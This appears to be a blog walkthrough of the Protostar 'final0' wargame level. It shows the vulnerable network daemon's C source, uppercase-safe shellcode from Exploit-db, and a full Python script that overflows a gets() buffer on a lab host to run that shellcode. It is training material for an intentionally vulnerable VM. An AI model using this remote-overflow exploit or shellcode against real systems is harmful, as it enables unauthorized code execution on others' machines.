Hello Guys,
Today In This post, I am going to share with you my walk through experience of Exploit Exercise Proto Star Final0 Level.
Before Starting Our Walkthrough Let's Take a Look At Hints And Details.Note: I want to highlight Few Points.
- I'm not the creator of protostar war game. I am just a player.
- Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
- Understand all previous levels before starting this one.
- Do some research on Assembly, C/C++ and Gdb
- Do Some Research About Heap overflow exploitation.
- All Credit Related To Exploit Exercise War Games Goes To exploit-exercises.com.
let's Start
Hint
This level combines a stack overflow and network programming for a remote overflow.
Hints: depending on where you are returning to, you may wish to use a toupper() proof shellcode.
Core files will be in /tmp.
This level is at /opt/protostar/bin/final0
Source Code
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
Description
Well, readers Honestly. After Reading Source Code of this Program. I Detected Buffer Overflow Vulnerability Just In 2 Minutes.
here,
gets(buffer);
Because In Our Previous Level We Already Encounter This Function Vulnerability.
But Then my mind detected a problem.
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
Well, Those Who are not understanding what actually this codes does. This codes change
all lowercase letter into Upper case. So, Now We need to find a shellcode that can easily
bypass this condition. After Googling I Got Below Shellcode from Exploit-db.
Shellcode
#########################################################################################
# Shellcode Manufacturing Section
#########################################################################################
# to_upper shellcode
upper_shellcode = ''
#/* _start */
upper_shellcode += "\xeb\x02" # /* jmp short A */
#/* A */
upper_shellcode += "\xeb\x05" # /* jmp short C */
# /* B */
upper_shellcode += "\xe8\xf9\xff\xff\xff" # /* call A */
# /* C */
upper_shellcode += "\x5f" # /* pop edi */
upper_shellcode += "\x81\xef\xdf\xff\xff\xff" #/* sub edi, 0xffffffdf */
upper_shellcode += "\x57" # /* push edi */
upper_shellcode += "\x5e" # /* pop esi */
upper_shellcode += "\x29\xc9" #/* sub ecx, ecx */
upper_shellcode += "\x80\xc1\xb8" # /* add cl, 0xb8 */
# /* bucle */
upper_shellcode += "\x8a\x07" # /* mov al, byte [edi] */
upper_shellcode += "\x2c\x41" # /* sub al, 0x41 */
upper_shellcode += "\xc0\xe0\x04" # /* shl al, 4 */
upper_shellcode += "\x47" # /* inc edi */
upper_shellcode += "\x02\x07" # /* add al, byte [edi] */
upper_shellcode += "\x2c\x41" # /* sub al, 0x41 */
upper_shellcode += "\x88\x06" # /* mov byte [esi], al */
upper_shellcode += "\x46" # /* inc esi */
upper_shellcode += "\x47" # /* inc edi */
upper_shellcode += "\x49" # /* dec ecx */
upper_shellcode += "\xe2\xed" # /* loop bucle */
# /* Shellcode codificada de 184 (0xb8) bytes */
upper_shellcode += "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
upper_shellcode += "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
upper_shellcode += "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
upper_shellcode += "BLAALMNIA"
Well, Game Over
Exploit
#!/usr/bin/python
import struct
import socket
#########################################################################################
# Shellcode Manufacturing Section
#########################################################################################
# to_upper shellcode
upper_shellcode = ''
#/* _start */
upper_shellcode += "\xeb\x02" # /* jmp short A */
#/* A */
upper_shellcode += "\xeb\x05" # /* jmp short C */
# /* B */
upper_shellcode += "\xe8\xf9\xff\xff\xff" # /* call A */
# /* C */
upper_shellcode += "\x5f" # /* pop edi */
upper_shellcode += "\x81\xef\xdf\xff\xff\xff" #/* sub edi, 0xffffffdf */
upper_shellcode += "\x57" # /* push edi */
upper_shellcode += "\x5e" # /* pop esi */
upper_shellcode += "\x29\xc9" #/* sub ecx, ecx */
upper_shellcode += "\x80\xc1\xb8" # /* add cl, 0xb8 */
# /* bucle */
upper_shellcode += "\x8a\x07" # /* mov al, byte [edi] */
upper_shellcode += "\x2c\x41" # /* sub al, 0x41 */
upper_shellcode += "\xc0\xe0\x04" # /* shl al, 4 */
upper_shellcode += "\x47" # /* inc edi */
upper_shellcode += "\x02\x07" # /* add al, byte [edi] */
upper_shellcode += "\x2c\x41" # /* sub al, 0x41 */
upper_shellcode += "\x88\x06" # /* mov byte [esi], al */
upper_shellcode += "\x46" # /* inc esi */
upper_shellcode += "\x47" # /* inc edi */
upper_shellcode += "\x49" # /* dec ecx */
upper_shellcode += "\xe2\xed" # /* loop bucle */
# /* Shellcode codificada de 184 (0xb8) bytes */
upper_shellcode += "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
upper_shellcode += "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
upper_shellcode += "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
upper_shellcode += "BLAALMNIA"
shellcode = upper_shellcode
shellcode+= '\x90'*120
#####################################################################################
# Payload Sending Section
#####################################################################################
# Shellcode Length
slen = len(upper_shellcode)
# Victim Configuration
PORT = 2995
HOST = "192.168.56.101"
BuffSize = 532 # Don't Include EIP Padding Length
RETPoint = 0xbffffa50 # Return Pointer Pointing
# Create Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect Socket
s.connect((HOST, PORT))
# Payload Generating Here
payload = ''
# Load NOP + Shellcode
payload+= '\x90'*(BuffSize-len(shellcode)) + shellcode
# Load EIP pointer
payload+= struct.pack("I", RETPoint ) # Return Address
# Additional Data
payload+= '\n'
# Send payload
s.send(payload)
# Check output
#print s.recv(1024)
# Close
s.close()